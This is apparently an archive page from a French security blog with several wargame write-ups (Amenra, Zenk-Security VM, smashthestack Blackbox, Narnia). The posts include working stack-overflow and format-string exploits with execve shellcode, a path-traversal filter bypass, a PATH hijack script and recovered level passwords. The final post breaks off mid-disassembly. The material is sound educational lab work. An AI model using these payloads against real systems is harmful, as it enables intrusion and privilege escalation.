Affichage des articles dont le libellé est wargame. Afficher tous les articles
Affichage des articles dont le libellé est wargame. Afficher tous les articles

vendredi 27 décembre 2013

[Wargame] Ivan's Amenra : level 1

Hackeology : C'est un vieux challenge de 2010 plus disponible, je publie quand même le write-up (27/10/2010) qui trainait dans mes brouillons :). Enjoy.

Bonsoir!

J'ai retrouvé dans mes vieux bookmarks un challenge intéressant :).
Ce qui différencie le wargame d'Ivan par rapport aux autres wargame est l'activation de l'ASLR et de quelques protections PaX.

La preuve:
level1@segment:~$ cat /proc/sys/kernel/randomize_va_space 
2

On est accueilli par un message tout ce qu'il y a de plus classique :
Linux segment 2.6.35.7-grsec #3 Thu Oct 14 18:08:24 CEST 2010 i686
_____    _____   ____   ________________   
\__  \  /     \_/ __ \ /    \_  __ \__  \  
 / __ \|  Y Y  \  ___/|   |  \  | \// __ \_
(____  /__|_|  /\___  >___|  /__|  (____  /
     \/      \/     \/     \/           \/ 


        Amenra wargaming platform

levels are in /home/levelX
pass are in /home/levelX/passwd

Infos :
Debian squeeze 2.6.34 (eglibc 2.11.2) with kernel patch grsecurity, w00t !
To check if level's stack is +x use : /sbin/paxctl -v levelX
Box reboots everyday
Box can be unstable
Box pic http://ivanlef0u.nibbles.fr/repo/img/boite2konserv.jpg 
Be ethical or die !

Tools :
objdump & readelf
gdb 7.2 : symbols files are avaible, if you want to use them do:
set debug-file-directory /usr/lib/debug
python 2.6.6
ruby 1.8.7
nano & vim
gcc 4.4.5 & nasm
strace & ltrace

contact : ivanlef0u@tuxfamily.org

Ok cool, maintenant passons au level1 si vous voulez bien :).

// level1.c
// gcc -fno-stack-protector -mpreferred-stack-boundary=2 -Wall level1.c -o level1
// paxctl -c -p -s -m -r -x -s level1
//

#include <string.h>

int main(int argc, char * argv[])
{
    char buf[8];

    strcpy(buf, (char *)argv);

    return 0;
}

Comme d'hab', on va regarder le code assembleur :
level1@segment:~$ gdb ./level1 
Reading symbols from /home/level1/level1...(no debugging symbols found)...done.
gdb$ disassemble main
Dump of assembler code for function main:
   0x080483c4 <+0>: push   ebp
   0x080483c5 <+1>: mov    ebp,esp
   0x080483c7 <+3>: sub    esp,0x10
   0x080483ca <+6>: mov    eax,DWORD PTR [ebp+0xc]
   0x080483cd <+9>: mov    DWORD PTR [esp+0x4],eax
   0x080483d1 <+13>: lea    eax,[ebp-0x8]
   0x080483d4 <+16>: mov    DWORD PTR [esp],eax
   0x080483d7 <+19>: call   0x80482fc <strcpy@plt>
   0x080483dc <+24>: mov    eax,0x0
   0x080483e1 <+29>: leave  
   0x080483e2 <+30>: ret    
End of assembler dump.
gdb$ quit

Bon reste plus qu'à poutrer ça le plus simplement du monde :).

En reconstruisant la stack de tête, on a un truc du genre:
ret
sfp
buffer+4
buffer

On copie argv dans buffer or argv est un tableau de pointeurs des arguments passés au programme. Le premier argument étant le nom du programme, il faut passer 3 arguments supplémentaires.
Ce qui va se passer est que l'adresse de notre 4 ème argument va overwriter l'adresse de retour sur la pile. C'est donc dans cette argument qu'on mettra notre shellcode.

level1@segment:~$ ~/level1 a b `printf "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"`
$ 

Pawned,

Pour le level2 ça va attendre encore un petit moment,

m_101

mardi 9 novembre 2010

[Wargame] VmZenk1 - level11

Bonjour,

Hier soir j'ai attaquer la VM 1 de Zenk-Security, elle est assez aisée et accessible à tous.

Voici le write-ups du dernier challenge de la VM :
#include <stdio.h>
#include <stdlib.h>
#include <string.h>


int main(int argc, char **argv) {
    int arg2size ;
    char bufa[32];
    int arg1size ;
    char bufb[32];

    if(argc != 3) {
        printf("Usage : ./program arg1 arg2\n");
        return -1 ;
    }

    arg1size = strlen(argv[1]);
    arg2size = strlen(argv[2]);

    if(arg1size > sizeof(bufa)){
        printf("arg1 length should be less than 32 bytes\n");
        return -1;
    }

    strcpy(bufa, argv[1]);

    if(arg2size < sizeof(bufb)) {
        printf("arg2 length sould be less than 32 bytes");
        return -1 ;
    }
    strcpy(bufb, argv[2]);
    return 0;
}

A première vu il n'est pas possible d'exploiter quoi que ce soit vu les vérifications de tailles effectuées sur les buffers données en entrées.
Le programme a malgré tout un défaut de taille : strcpy() recopie le zéro de fin, de ce fait on peut re-initialiser la taille de argv[2] (arg2size)à 0 grâce au premier strcpy() et ainsi bypasser le check. Vu qu'on ne re-écrit qu'un seul octet, la contrainte est de ne pas avoir un input dépassant 255 octets (ce qui est largement suffisant ici).

Il nous faut trouver en premier lieu l'offset d'EIP, on va utiliser les patterns metasploit :
level11@VmAppliZenk:~$ gdb -q ./level11

warning: not using untrusted file "/home/level11/.gdbinit"
(gdb) r `python -c 'print "a" * 32 + " " + "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac"'`
Starting program: /home/level11/level11 `python -c 'print "a" * 32 + " " + "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac"'`

Program received signal SIGSEGV, Segmentation fault.
0x08048524 in main ()
Current language:  auto; currently asm
(gdb) i r
eax            0x0 0
ecx            0x41346341 1093952321
edx            0x51 81
ebx            0xb7fd8ff4 -1208119308
esp            0x4134633d 0x4134633d
ebp            0x63413563 0x63413563
esi            0x8048540 134513984
edi            0x8048390 134513552
eip            0x8048524 0x8048524 <main+224>
eflags         0x10282 [ SF IF RF ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0 0
gs             0x33 51

Donc on contrôle ecx au bout de 72 octets. Esp est étrangement similaire à ECX.
En regardant le code du main on peut comprendre pourquoi :
0x08048519 <main+213>: mov    eax,DWORD PTR [ebp-0x58]
0x0804851c <main+216>: add    esp,0x64
0x0804851f <main+219>: pop    ecx
0x08048520 <main+220>: pop    ebp
0x08048521 <main+221>: lea    esp,[ecx-0x4]
0x08048524 <main+224>: ret

On a donc ESP = ECX - 4.

On va maintenant voir comment exploiter ça :).

Bon je vais utiliser les variables d'environnement pour que ce soit plus aisé à manipuler. On va créer une stack avec l'adresse de retour, ce sera utile pour "guesser" à peu près la valeur d'ESP et une variable d'environnement où on aura notre shellcode.
level11@VmAppliZenk:~$ export SC=`python -c 'print "\x90" * 10240 + "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"'`
level11@VmAppliZenk:~$ /tmp/getenv SC
SC is located at 0xbfffd753
level11@VmAppliZenk:~$ export CSTACK=`python -c 'print "\x60\xd7\xff\xbf" * 100'`
level11@VmAppliZenk:~$ /tmp/getenv CSTACK
CSTACK is located at 0xbfffd59c

Vous pouvez remarquer qu'on met plusieurs fois l'adresse du shellcode sur la stack, on a sûrement pas besoin d'autant mais vu que c'est une variable d'environnement ... on a autant de place qu'on veut ;). Ces ret répétés vont permettre le guessing de l'ESP et ainsi avoir une marge d'erreur.

Maintenant qu'on a fini les préparatifs, let's hack that app' :
level11@VmAppliZenk:~$ ./level11 `python -c 'print "a" * 32 + " " + "b" * 72 + "\x9c\xd5\xff\xbf"'`
Erreur de segmentation
level11@VmAppliZenk:~$ ./level11 `python -c 'print "a" * 32 + " " + "b" * 72 + "\x9d\xd5\xff\xbf"'`
Erreur de segmentation
level11@VmAppliZenk:~$ ./level11 `python -c 'print "a" * 32 + " " + "b" * 72 + "\x9e\xd5\xff\xbf"'`
Erreur de segmentation
level11@VmAppliZenk:~$ ./level11 `python -c 'print "a" * 32 + " " + "b" * 72 + "\x9f\xd5\xff\xbf"'`
Erreur de segmentation
level11@VmAppliZenk:~$ ./level11 `python -c 'print "a" * 32 + " " + "b" * 72 + "\xfc\xd5\xff\xbf"'`
sh-3.2$ id
uid=1011(level11) gid=1011(level11) euid=1012(level12) groups=1011(level11)
sh-3.2$ cat /home/level12/password
Le mot de passe est : ********
sh-3.2$ exit
exit

Pawned,

m_101

[Wargame] VmZenk1 - Level 9

Hello!

Je vais ici montrer un simple trick concernant l'exploitation de format string. Ca va consister à vite trouver l'addresse où écrire.

Tout d'abord le challenge :
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(int argc, char* argv[])
{
 if (argc != 2)
 {
  printf("Usage : ./prog arg\n");
  exit(1);
 }

 char name[1024];
 strncpy(name,argv[1],1024);
 name[1023] = '\0';
 printf("Votre nom est : ");
 printf(name);
 printf("\n");
 return 0;
}

On lance gdb :
level9@VmAppliZenk:~$ gdb -q ./level9

warning: not using untrusted file "/home/level9/.gdbinit"
(gdb) set disassembly-flavor intel
(gdb) disassemble main
Dump of assembler code for function main:
0x08048474 <main+0>: lea    ecx,[esp+0x4]
0x08048478 <main+4>: and    esp,0xfffffff0
0x0804847b <main+7>: push   DWORD PTR [ecx-0x4]
0x0804847e <main+10>: push   ebp
0x0804847f <main+11>: mov    ebp,esp
0x08048481 <main+13>: push   ecx
0x08048482 <main+14>: sub    esp,0x414
0x08048488 <main+20>: mov    DWORD PTR [ebp-0x408],ecx
0x0804848e <main+26>: mov    eax,DWORD PTR [ebp-0x408]
0x08048494 <main+32>: cmp    DWORD PTR [eax],0x2
0x08048497 <main+35>: je     0x80484b1 <main+61>
0x08048499 <main+37>: mov    DWORD PTR [esp],0x80485e0
0x080484a0 <main+44>: call   0x8048398 <puts@plt>
0x080484a5 <main+49>: mov    DWORD PTR [esp],0x1
0x080484ac <main+56>: call   0x80483a8 <exit@plt>
0x080484b1 <main+61>: mov    edx,DWORD PTR [ebp-0x408]
0x080484b7 <main+67>: mov    eax,DWORD PTR [edx+0x4]
0x080484ba <main+70>: add    eax,0x4
0x080484bd <main+73>: mov    eax,DWORD PTR [eax]
0x080484bf <main+75>: mov    DWORD PTR [esp+0x8],0x400
0x080484c7 <main+83>: mov    DWORD PTR [esp+0x4],eax
0x080484cb <main+87>: lea    eax,[ebp-0x404]
0x080484d1 <main+93>: mov    DWORD PTR [esp],eax
0x080484d4 <main+96>: call   0x8048358 <strncpy@plt>
0x080484d9 <main+101>: mov    BYTE PTR [ebp-0x5],0x0
0x080484dd <main+105>: mov    DWORD PTR [esp],0x80485f3
0x080484e4 <main+112>: call   0x8048388 <printf@plt>
0x080484e9 <main+117>: lea    eax,[ebp-0x404]
0x080484ef <main+123>: mov    DWORD PTR [esp],eax
0x080484f2 <main+126>: call   0x8048388 <printf@plt>
0x080484f7 <main+131>: mov    DWORD PTR [esp],0xa
0x080484fe <main+138>: call   0x8048368 <putchar@plt>
0x08048503 <main+143>: mov    eax,0x0
0x08048508 <main+148>: add    esp,0x414
0x0804850e <main+154>: pop    ecx
0x0804850f <main+155>: pop    ebp
0x08048510 <main+156>: lea    esp,[ecx-0x4]
0x08048513 <main+159>: ret    
End of assembler dump.
(gdb) break *0x080484f2
Breakpoint 1 at 0x80484f2
(gdb) r %x
Starting program: /home/level9/level9 %x

Breakpoint 1, 0x080484f2 in main ()
Current language:  auto; currently asm
(gdb) x/10x $esp-16
0xbffff470: 0xbffff484 0xb7fd8ff4 0xbffff898 0x080484e9
0xbffff480: 0xbffff494 0xbffffa44 0x00000400 0xbffff4a0
0xbffff490: 0xbffff8b0 0x252e7825

On pose un breakpoint sur la ligne 0x080484f2 on retourne ensuite en 0x080484f7 normalement.
On dumpe et on doit re-écrire l'adresse de retour (en vert).
L'adresse de re-écriture est en 0xbffff47c.
Bon comment on fait en dehors de gdb?
C'est là que la format string devient utile pour de l'information leak :
(gdb) r `python -c 'print "%x." * 10'`
Votre nom est : bffffa44.400.bffff4a0.bffff8b0.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.

Program exited normally.
(gdb) quit

On peut calculer l'adresse où écrire grâce à la troisième valeur :
offset pour avoir le début : 0xbffff4a0 - 0xbffff470 = 30
addresse où écrire : bffff470 + 0xc = bffff47c

On va essayer ça sans gdb now :).
level9@VmAppliZenk:~$ ./level9 `python -c 'print "%x." * 10'`
Votre nom est : bfffaa30.400.bfffa490.bfffa8a0.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.

Addresse où on doit écrire : 0xbfffa490 - 0x30 + c = 0xbfffa46c

On essaie :
level9@VmAppliZenk:~$ ./level9 `python -c 'print "\x6c\xa4\xff\xbf" + "%55121x" + "%5$hn" + "\x6e\xa4\xff\xbf" + "%59558x" + "%9$hn"'`
sh-3.2$ id
uid=1009(level9) gid=1009(level9) euid=1010(level10) groups=1009(level9),1012(challengers)

Pawned,

m_101

dimanche 3 octobre 2010

[Wargame] Blackbox at smashthestack.org : level 4

Oh déjà le level4? :)

C'est la bonne surprise que j'ai eu. Ce n'est pas un challenge orienté applicatif mais plus web (enfin à mon sens) :).

Voilà le code du level :
#include <iostream>
#include <fstream>
#include <string>


std::string strreplace(const char *msg, const char *replace, const char *with)
{
 std::string ret;

 while(*msg) {
  if(strncmp(msg, replace, strlen(replace)) == 0) {
   ret += with;

   // Skip all in msg until we have another match
   msg++;
   for(unsigned int i = 1; i < strlen(replace) && *msg; i++) {
    if(strncmp(msg, replace, strlen(replace)) == 0)
     break;
    msg++;
   }

   continue;
  } else
   ret += *msg;
  msg++;
 }

 return ret;
}

int main(int argc, char **argv)
{
 if(argc < 2) {
  std::cout << "This program allows you to read files from my shared files. See /usr/share/level5 for my shared files. Simply use the path relative to my shared files to read a file!" << std::endl;
  std::cout << "Example: " << argv[0] << " lyrics/foreverautumn" << std::endl;
  return 1;
 }

 std::string start_path = "/usr/share/level5/";
 std::string relative_path = "";
 char *ptr;

 ptr = argv[1];
 while(*ptr == '/' || *ptr == '.')
  ptr++;

 relative_path = strreplace(ptr, "/../", "");
 relative_path = strreplace(relative_path.c_str(), "/./", "");

 std::string realpath = start_path + relative_path;

 std::cout << "Contents of " << realpath << ":" << std::endl;

 std::ifstream file(realpath.c_str(), std::ios::in);
 if(!file.is_open()) {
  std::cerr << "Unable to open file" << std::endl;
  return 1;
 }

 std::string cline;

 while(!file.eof()) {
  std::getline(file, cline);
  std::cout << cline << std::endl;
 }

 return 0;
}
Ici on a accès à un système de lecture de fichier "partagés". On peut voir qu'il y a un système de filtrage mis en place.
Les "/../" et "/./" sont filtrés et celà ne permet pas (à priori) de lire un fichier arbitraire via un path traversal.

En analysant le code, voilà ce que le programme fait :
- On récupère un chemin venant de l'utilisateur
- On enlève tous les '/' et '.' en début de la chaine soumise par l'utilisateur
- On filtre les "/../" puis "/./"

Ce qu'on va attaquer est donc la fonction de filtrage : strreplace().
Il y a 2 problêmes dans son utilisation :
- "/../" est filtré avant "/./", en effet si on filtrait "/./" en premier, ça serait plus difficile à bypasser
- la fonction strreplace() ne fait pas le remplacement des chaînes de manières recursive, il est donc possible de les reconstruire si crafté correctement

Et là ça me fait étrangement penser aux failles de filtrage qu'on peut voir sur certaines applications web :
- filtre sur <script> : <scri<script>pt>, après filtrage on re-obtient <script> si filtrage non récursif.

On va ici utiliser le même principe, on veut reconstruire "/../". Pour celà il suffit d'injecter des chaînes comme "/./.././", après filtrage "/../" sera reconstruit.

Essayons :
level4@blackbox:~$ ./shared lyrics/./../././../././../././.././home/level5/password
Contents of /usr/share/level5/lyrics/../../../../home/level5/password:
Traveller

Pawn ;).

m_101

[Wargame] Blackbox at smashthestack.org : level 3 (system)

Passons maintenant au level 3.

Voilà le code de celui-ci :
#include 
#include 

int main(int main, char **argv)
{
 std::string command;
 std::string program;

 std::cout << "Enter the name of the program: ";
 std::cin >> program;

 for(unsigned int i = 0; i < program.length(); i++) {
  if(strchr(";^&|><", program[i]) != NULL) {
   std::cout << "Fatal error" << std::endl;
   return 1;
  }
 }


 // Execute the command to list the programs
 command = "/bin/ps |grep ";
 command += program;
 system(command.c_str());

 return 0;
}
Ici en regardant la commande executée on aurait tendance à penser à une injection de commande Unix de manière directe. Mais plus haut on voit un filtre contre celà. Il nous reste la possibilitée de faire usage de la faille system(), en effet, sous les Unixoides, l'emplacement des exécutables est défini grâce à la variable PATH. Il nous suffit de modifier cette variable et y mettre un script ou programme avec le nom qui va bien. Notre script :
#!/bin/sh

cat /home/level4/password

Il n'y a plus qu'à modifier la variable PATH comme il faut ;).

m_101

[Wargame] Blackbox at smashthestack.org : level 1 (login)

Hello!

Enfin de retour sur Internet après quelques semaines d'absence :).
Je me suis remis à faire des challenges et je vais ici parler d'un wargame qui m'a
bien plu : http://blackbox.smashthestack.org:85/.
Il y a des failles classiques mais présentées d'une manière un peu plus intelligente.

Nous allons commencer par le level1 :
level1@blackbox:~$ ./login2 
Username: aa
Password: aa
Invalid username or password

A partir de là on peut déjà avoir une petite idée de ce que le programme fait,
il y a surement une utilisation d'un strcmp() ou strncmp() simple (nous somme
au level1 après tout :)).

Voyons le code ASM.

level1@blackbox:~$ gdb login2 
GNU gdb 6.4.90-debian
Copyright (C) 2006 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...Using host libthread_db library "/lib/tls/libthread_db.so.1".

(gdb) disassemble main
Dump of assembler code for function main:
0x0804827a <main+0>: lea    0x4(%esp),%ecx
0x0804827e <main+4>: and    $0xfffffff0,%esp
0x08048281 <main+7>: pushl  0xfffffffc(%ecx)
0x08048284 <main+10>: push   %ebp
0x08048285 <main+11>: mov    %esp,%ebp
0x08048287 <main+13>: push   %ebx
0x08048288 <main+14>: push   %ecx
0x08048289 <main+15>: sub    $0x30,%esp
0x0804828c <main+18>: lea    0xfffffff4(%ebp),%eax
0x0804828f <main+21>: mov    %eax,(%esp)
0x08048292 <main+24>: call   0x8072ec0 <_ZNSsC1Ev>
0x08048297 <main+29>: lea    0xfffffff0(%ebp),%eax
0x0804829a <main+32>: mov    %eax,(%esp)
0x0804829d <main+35>: call   0x8072ec0 <_ZNSsC1Ev>
0x080482a2 <main+40>: movl   $0x80ffe48,0x4(%esp)
0x080482aa <main+48>: movl   $0x8130f60,(%esp)
0x080482b1 <main+55>: call   0x806d8f0 <_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc>
0x080482b6 <main+60>: lea    0xfffffff4(%ebp),%eax
0x080482b9 <main+63>: mov    %eax,0x4(%esp)
0x080482bd <main+67>: movl   $0x8130ec0,(%esp)
0x080482c4 <main+74>: call   0x806b2e0 <_ZSt7getlineIcSt11char_traitsIcESaIcEERSt13basic_istreamIT_T0_ES7_RSbIS4_S5_T1_E>
0x080482c9 <main+79>: movl   $0x80ffe53,0x4(%esp)
0x080482d1 <main+87>: movl   $0x8130f60,(%esp)
0x080482d8 <main+94>: call   0x806d8f0 <_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc>
0x080482dd <main+99>: lea    0xfffffff0(%ebp),%eax
0x080482e0 <main+102>: mov    %eax,0x4(%esp)
0x080482e4 <main+106>: movl   $0x8130ec0,(%esp)
0x080482eb <main+113>: call   0x806b2e0 <_ZSt7getlineIcSt11char_traitsIcESaIcEERSt13basic_istreamIT_T0_ES7_RSbIS4_S5_T1_E>
0x080482f0 <main+118>: movl   $0x80ffe5e,0x4(%esp)
0x080482f8 <main+126>: lea    0xfffffff4(%ebp),%eax
0x080482fb <main+129>: mov    %eax,(%esp)
0x080482fe <main+132>: call   0x80483ee <_ZSteqIcSt11char_traitsIcESaIcEEbRKSbIT_T0_T1_EPKS3_>
0x08048303 <main+137>: xor    $0x1,%al
0x08048305 <main+139>: test   %al,%al
0x08048307 <main+141>: jne    0x8048328 <main+174>
0x08048309 <main+143>: movl   $0x80ffe65,0x4(%esp)
0x08048311 <main+151>: lea    0xfffffff0(%ebp),%eax
0x08048314 <main+154>: mov    %eax,(%esp)
0x08048317 <main+157>: call   0x80483ee <_ZSteqIcSt11char_traitsIcESaIcEEbRKSbIT_T0_T1_EPKS3_>
0x0804831c <main+162>: xor    $0x1,%al
0x0804831e <main+164>: test   %al,%al
0x08048320 <main+166>: jne    0x8048328 <main+174>
0x08048322 <main+168>: movb   $0x1,0xffffffe7(%ebp)
0x08048326 <main+172>: jmp    0x804832c <main+178>
0x08048328 <main+174>: movb   $0x0,0xffffffe7(%ebp)
0x0804832c <main+178>: movzbl 0xffffffe7(%ebp),%eax
0x08048330 <main+182>: test   %al,%al
0x08048332 <main+184>: je     0x8048366 <main+236>
0x08048334 <main+186>: movl   $0x80ffe6e,0x4(%esp)
0x0804833c <main+194>: movl   $0x8130f60,(%esp)
0x08048343 <main+201>: call   0x806d8f0 <_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc>
0x08048348 <main+206>: movl   $0x806e0c0,0x4(%esp)
0x08048350 <main+214>: mov    %eax,(%esp)
0x08048353 <main+217>: call   0x806bf10 <_ZNSolsEPFRSoS_E>
0x08048358 <main+222>: movl   $0x80ffe80,(%esp)
0x0804835f <main+229>: call   0x80b5ab0 <system>
0x08048364 <main+234>: jmp    0x804838a <main+272>
0x08048366 <main+236>: movl   $0x80ffe88,0x4(%esp)
0x0804836e <main+244>: movl   $0x8130f60,(%esp)
0x08048375 <main+251>: call   0x806d8f0 <_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc>
0x0804837a <main+256>: movl   $0x806e0c0,0x4(%esp)
0x08048382 <main+264>: mov    %eax,(%esp)
0x08048385 <main+267>: call   0x806bf10 <_ZNSolsEPFRSoS_E>
0x0804838a <main+272>: lea    0xfffffff0(%ebp),%eax
0x0804838d <main+275>: mov    %eax,(%esp)
0x08048390 <main+278>: call   0x8074e40 <_ZNSsD1Ev>
0x08048395 <main+283>: jmp    0x80483ad <main+307>
0x08048397 <main+285>: mov    %eax,0xffffffdc(%ebp)
0x0804839a <main+288>: mov    0xffffffdc(%ebp),%ebx
0x0804839d <main+291>: lea    0xfffffff0(%ebp),%eax
0x080483a0 <main+294>: mov    %eax,(%esp)
0x080483a3 <main+297>: call   0x8074e40 <_ZNSsD1Ev>
0x080483a8 <main+302>: mov    %ebx,0xffffffdc(%ebp)
0x080483ab <main+305>: jmp    0x80483c5 <main+331>
0x080483ad <main+307>: lea    0xfffffff4(%ebp),%eax
0x080483b0 <main+310>: mov    %eax,(%esp)
0x080483b3 <main+313>: call   0x8074e40 <_ZNSsD1Ev>
0x080483b8 <main+318>: mov    $0x0,%eax
0x080483bd <main+323>: mov    %eax,0xffffffe0(%ebp)
0x080483c0 <main+326>: jmp    0x80483e1 <main+359>
0x080483c2 <main+328>: mov    %eax,0xffffffdc(%ebp)
0x080483c5 <main+331>: mov    0xffffffdc(%ebp),%ebx
0x080483c8 <main+334>: lea    0xfffffff4(%ebp),%eax
0x080483cb <main+337>: mov    %eax,(%esp)
0x080483ce <main+340>: call   0x8074e40 <_ZNSsD1Ev>
0x080483d3 <main+345>: mov    %ebx,0xffffffdc(%ebp)
0x080483d6 <main+348>: mov    0xffffffdc(%ebp),%eax
0x080483d9 <main+351>: mov    %eax,(%esp)
0x080483dc <main+354>: call   0x80a5180 <_Unwind_Resume>
0x080483e1 <main+359>: mov    0xffffffe0(%ebp),%eax
0x080483e4 <main+362>: add    $0x30,%esp
0x080483e7 <main+365>: pop    %ecx
0x080483e8 <main+366>: pop    %ebx
0x080483e9 <main+367>: pop    %ebp
0x080483ea <main+368>: lea    0xfffffffc(%ecx),%esp
0x080483ed <main+371>: ret    
End of assembler dump.

On peut remarquer qu'il y a des noms de fonctions étranges, non compréhensible.
Après un peu de recherche, on se rend vite compte que c'est du à un mécanisme qu'on
appelle le name mangling. Ca permet entre autre le polymorphisme. C'est donc un
bon indicateur que le language utilisé est du C++.
Vu que le programme a été compilé avec G++, on va voir comment démangleer ça.

Le tool nécessaire au demangling de noms G++ est c++filt qui est fourni dans la
suite GNU.

Par exemple :
level1@blackbox:~$ c++filt _ZNSsC1Ev
std::basic_string<char, std::char_traits<char>, std::allocator<char> >::basic_string()

La fonction que l'on cherche est l'implémentation de l'opérateur ==.

Après un peu de recherche :
level1@blackbox:~$ c++filt _ZSteqIcSt11char_traitsIcESaIcEEbRKSbIT_T0_T1_EPKS3_
bool std::operator==<char, std::char_traits<char>, std::allocator<char> >(std::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, char const*)

On va voir que l'opérateur == est utilisé 2 fois : une fois pour le nom de l'user
et une fois pour le password.

La partie intéressante :
0x080482f0 <main+118>: movl   $0x80ffe5e,0x4(%esp)
0x080482f8 <main+126>: lea    0xfffffff4(%ebp),%eax
0x080482fb <main+129>: mov    %eax,(%esp)
0x080482fe <main+132>: call   0x80483ee <_ZSteqIcSt11char_traitsIcESaIcEEbRKSbIT_T0_T1_EPKS3_>
0x08048303 <main+137>: xor    $0x1,%al
0x08048305 <main+139>: test   %al,%al
0x08048307 <main+141>: jne    0x8048328 <main+174>
0x08048309 <main+143>: movl   $0x80ffe65,0x4(%esp)
0x08048311 <main+151>: lea    0xfffffff0(%ebp),%eax
0x08048314 <main+154>: mov    %eax,(%esp)
0x08048317 <main+157>: call   0x80483ee <_ZSteqIcSt11char_traitsIcESaIcEEbRKSbIT_T0_T1_EPKS3_>

On a deux emplacement statique dans le binaire : 0x80ffe5e et 0x80ffe65.

On les extraits et on a : level2 et PassFor2. Comme vous pouvez vous en douter,
on vient de trouver l'utilisateur et le mot de passe pour le niveau suivant ;).

Pour la reconstruction du code, on doit avoir quelque chose de pas très loin de ça :
#include <iostream>
#include <string>

using namespace std;

int main (int argc, char *argv[]) {
    string username, password;

    cout << "Username: ";
    cin >> username;
    cout << endl << "Password: ";
    cin >> password;
    
    if (username == "level2" && password == "PassFor2")
        system("/bin/sh");
    else
        cout << "Invalid username or password";
    
    return 0;
}

Et voilà :).
Nous passons directement au niveau 3 vu que le niveau 2 est un simple buffer overflow (utilisez pattern_create, pattern_offset et gdb comme expliqués dans les autres articles ;)).

m_101

dimanche 1 août 2010

[Wargame] Narnia at intruded.net : Level 4

Bonsoir,

Et c'est parti pour le level4.

Le programme vulnérable :
/*
    This program is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 2 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program; if not, write to the Free Software
    Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
*/

#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdlib.h>
#include <string.h>
 
int main(int argc, char **argv){
 
        int  ifd,  ofd;
        char ofile[16] = "/dev/null";
        char ifile[32];
        char buf[32];
 
        if(argc != 2){
                printf("usage, %s file, will send contents of file 2 /dev/null\n",argv[0]);
                exit(-1);
        }
 
        /* open files */
        strcpy(ifile, argv[1]);
        if((ofd = open(ofile,O_RDWR)) < 0 ){
                printf("error opening %s\n", ofile);
                exit(-1);
        }
        if((ifd = open(ifile, O_RDONLY)) < 0 ){
                printf("error opening %s\n", ifile);
                exit(-1);
        }
 
        /* copy from file1 to file2 */
        read(ifd, buf, sizeof(buf)-1);
        write(ofd,buf, sizeof(buf)-1);
        printf("copied contents of %s to a safer place... (%s)\n",ifile,ofile);
 
        /* close 'em */
        close(ifd);
        close(ofd);
 
        exit(1);
}
A première vu, en regardant le code, on se rend vite compte qu'on a un strcpy(), ça pourrait être un buffer overflow.
Il y a ouverture d'un fichier en lecture et en écriture, si les fichiers n'existent pas on quitte le programme. La seule donnée qu'on contrôle est le nom du fichier d'entrée.
Ce n'est pas un simple overflow car si on essaie de re-écrire EIP et EBP, on aura un nom de fichier foireux dû à ifd et ofd (on ne connait pas les numéros de descripteurs de fichiers qui vont leur être attribué). Je suppose qu'il faut overflow dans ofile. On lit le fichier dans /home/level5/.passwd et on écrit dans un /tmp/lvl5pass par exemple. Regardons le code assembleur ;).
Dump of assembler code for function main:
0x080484a4 <main+0>: push   ebp
0x080484a5 <main+1>: mov    ebp,esp
0x080484a7 <main+3>: push   edi
0x080484a8 <main+4>: sub    esp,0x74
0x080484ab <main+7>: and    esp,0xfffffff0
0x080484ae <main+10>: mov    eax,0x0
0x080484b3 <main+15>: add    eax,0xf
0x080484b6 <main+18>: add    eax,0xf
0x080484b9 <main+21>: shr    eax,0x4
0x080484bc <main+24>: shl    eax,0x4
0x080484bf <main+27>: sub    esp,eax
0x080484c1 <main+29>: mov    eax,ds:0x8048708
0x080484c6 <main+34>: mov    DWORD PTR [ebp-40],eax
0x080484c9 <main+37>: mov    eax,ds:0x804870c
0x080484ce <main+42>: mov    DWORD PTR [ebp-36],eax
0x080484d1 <main+45>: movzx  eax,WORD PTR ds:0x8048710
0x080484d8 <main+52>: mov    WORD PTR [ebp-32],ax
0x080484dc <main+56>: lea    edi,[ebp-30]
0x080484df <main+59>: cld    
0x080484e0 <main+60>: mov    ecx,0x6
0x080484e5 <main+65>: mov    al,0x0
0x080484e7 <main+67>: rep stos BYTE PTR es:[edi],al
0x080484e9 <main+69>: cmp    DWORD PTR [ebp+8],0x2
0x080484ed <main+73>: je     0x8048510 <main+108>
0x080484ef <main+75>: mov    eax,DWORD PTR [ebp+12]
0x080484f2 <main+78>: mov    eax,DWORD PTR [eax]
0x080484f4 <main+80>: mov    DWORD PTR [esp+4],eax
0x080484f8 <main+84>: mov    DWORD PTR [esp],0x8048718
0x080484ff <main+91>: call   0x8048384 <printf@plt>
